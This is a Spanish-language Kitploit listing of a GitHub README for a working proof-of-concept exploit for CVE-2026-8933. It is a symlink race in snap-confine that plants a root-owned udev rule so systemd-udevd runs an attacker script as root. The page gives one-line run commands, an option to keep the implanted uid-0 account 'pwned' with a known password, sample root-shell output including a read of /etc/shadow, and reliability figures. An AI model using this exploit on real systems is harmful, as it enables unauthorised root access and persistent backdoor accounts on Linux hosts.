Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-8933 — PoC funcional para CVE-2026-8933: una carrera de enlaces simbólicos en el espacio de nombres de montaje de snap-confine que coloca una regla udev propiedad de root, lo que permite obtener root local a través de systemd-udevd. | Kitploit
Herramientas/GitHubGitHub/songzzzz/cve-2026-8933
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónDesarrollo de Payloads
GitHubsongzzzz/cve-2026-8933

CVE-2026-8933

PoC funcional para CVE-2026-8933: una carrera de enlaces simbólicos en el espacio de nombres de montaje de snap-confine que coloca una regla udev propiedad de root, lo que permite obtener root local a través de systemd-udevd.

Ver Repositorio
2hace 20 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-8933 — carrera de espacio de nombres de montaje en snap-confine → shell de root local

PoC funcional. Escalada de privilegios local completa reproducida de extremo a extremo, desde un usuario sin privilegios (uid 1000) hasta un shell de root con uid 0 real — sin contraseña, sin interacción, sin privilegios preexistentes.

Un proceso sin privilegios hace que snap-confine, con capacidades establecidas, escriba una regla udev propiedad de root en el /run/udev/rules.d/ del host; systemd-udevd entonces ejecuta el payload PROGRAM= de la regla como root. El payload integrado implanta una cuenta con uid 0 y una contraseña conocida, de modo que su - pwned (o ./_rootshell.py) entrega un shell de root.

Componentesnap-confine → sc_replicate_base_rootfs() (código fuente de snapd 2.73 en _msc_273.c; el host probado ejecutaba snapd 2.76.3 y seguía siendo explotable)
ClaseEscalada de privilegios local (carrera de enlaces simbólicos → creación arbitraria de archivos propiedad de root en /run/udev/** → ejecución de código como root)
ResultadoShell con uid=0(root) desde una cuenta sin privilegios
Fiabilidad16 ejecuciones: 7 tuvieron éxito en el primer intento, el resto en el segundo; nunca más de 2
Portabilidadindependiente del host: el snap objetivo, el nombre de la app, el ámbito de cgroup, el uid y la ruta de snap-confine se detectan todos en tiempo de ejecución
Root necesarioninguno (véase §9)

Contenido

TL;DR · 1. Inicio rápido · 2. Requisitos · 3. Lo que deberías ver · 4. El fallo · 5. Ganando las carreras · 6. Payload · 7. Contenido del paquete · 8. Configuración · 9. Privilegios y limpieza · 10. Impacto y solución · Solución de problemas · Referencias · Descargo de responsabilidad

TL;DR

cd <package dir>
bash _t18poc.sh 100% 12        # ~1–2 min, no password required

Resultado esperado (abreviado):

### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"

### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash

### 3. root shell
  credentials: pwned / pwned (uid 0)
  root@host:~# id; whoami
  uid=0(root) gid=0(root) groups=0(root)
  root

El driver limpia tras de sí (regla, payload, cuenta plantada, directorios temporales y sus montajes). KEEP=1 conserva la cuenta para que el shell de root pueda usarse de forma interactiva después:

KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py                  # interactive root shell (password typed for you)
./_rootshell.py -c 'id'          # one-shot command as root
su - pwned                       # or just this, password: pwned

1. Inicio rápido

cd <package dir>

./t18 info                       # optional: which snap is the target?
bash _t18poc.sh 100% 12          # quota, max attempts

_t18poc.sh [quota] [attempts] compila t18 + _ftrig, detecta el objetivo, ejecuta el exploit hasta que gana, activa udevd, verifica el payload de root y limpia. 100% 12 es el valor usado para todas las mediciones a continuación; 0.3% 40 también funciona (cuota más ajustada, más intentos).

Antes de tocar nada, el driver imprime el objetivo autodetectado:

target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope  : snap.firefox.firefox.scope
snapd       : 2.76.3

2. Requisitos

  • un host con systemd (gestor de usuario en ejecución — el exploit controla cgroup.freeze en el ámbito de usuario),
  • snap-confine vulnerable, instalado con set-capabilities (cap_chown,cap_dac_override,cap_sys_admin,…) — no set-uid-root,
  • gcc + libfuse3 (pkg-config fuse3) para compilar t18 y _ftrig,
  • al menos un snap instalado cuyo directorio /snap/<snap>/current contenga un archivo regular en su nivel superior — esa entrada DT_REG es lo que hace que se ejecute el open() vulnerable (p. ej. firefox, core22, …). Cualquier snap de este tipo sirve; SNAP=<name> fuerza uno específico.

./t18 info imprime snap, app, base, unit, scope, confine y el número de entradas/archivos regulares del objetivo detectado, y sale — una forma rápida de ver si un host es explotable con los snaps que tiene instalados.

3. Lo que deberías ver

Evidencia de un intento exitoso

[   22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[   22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[   25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[   35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[   35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[   35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[   41.012] spinner: rule written into the root-owned file
[   42.362] phase 2: 180 slices, win=1 (udev rule written)
[   42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
             /tmp/snap.rootfs_bTvhoA/default256.png: Permission denied

El archivo creado por snap-confine con privilegios de root, en el host:

-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"

y el script de payload al que apunta (escrito por el uid 1000, ejecutado por systemd-udevd como uid 0):

-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root)          <- /tmp/.pwned.root

snap-confine muere justo después, en el bind mount denegado por AppArmor de la misma entrada — el archivo ya está creado y rellenado en ese momento.

Shell de root

$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7:::                 <- /etc/shadow is root-only
$ ./_rootshell.py                              # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root

Fiabilidad

16 ejecuciones de _t18poc.sh a lo largo de la investigación y la compilación genérica final terminaron todas en el LPE (7 de ellas en el primer intento, el resto en el segundo); ninguna ejecución necesitó más de 2 intentos. Cada ejecución limpia tras de sí (regla, payload, cuenta plantada, directorios temporales y sus montajes).

4. El fallo

snapd 2.73, sc_replicate_base_rootfs() (código fuente en _msc_273.c):

 511     if (mkdtemp(scratch_dir) == NULL)                    // /tmp/snap.rootfs_XXXXXX
 523     sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
 530     sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
 535         sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
 536         sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
 362     if (chown(scratch_dir, 0, 0) < 0)  die(...);
...
 418             int fd = open(full_path, O_CREAT | O_TRUNC, 0644);   // no O_NOFOLLOW
 422             if (fchown(fd, 0, 0) < 0) die(...);
 428             sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);
Descargar herramienta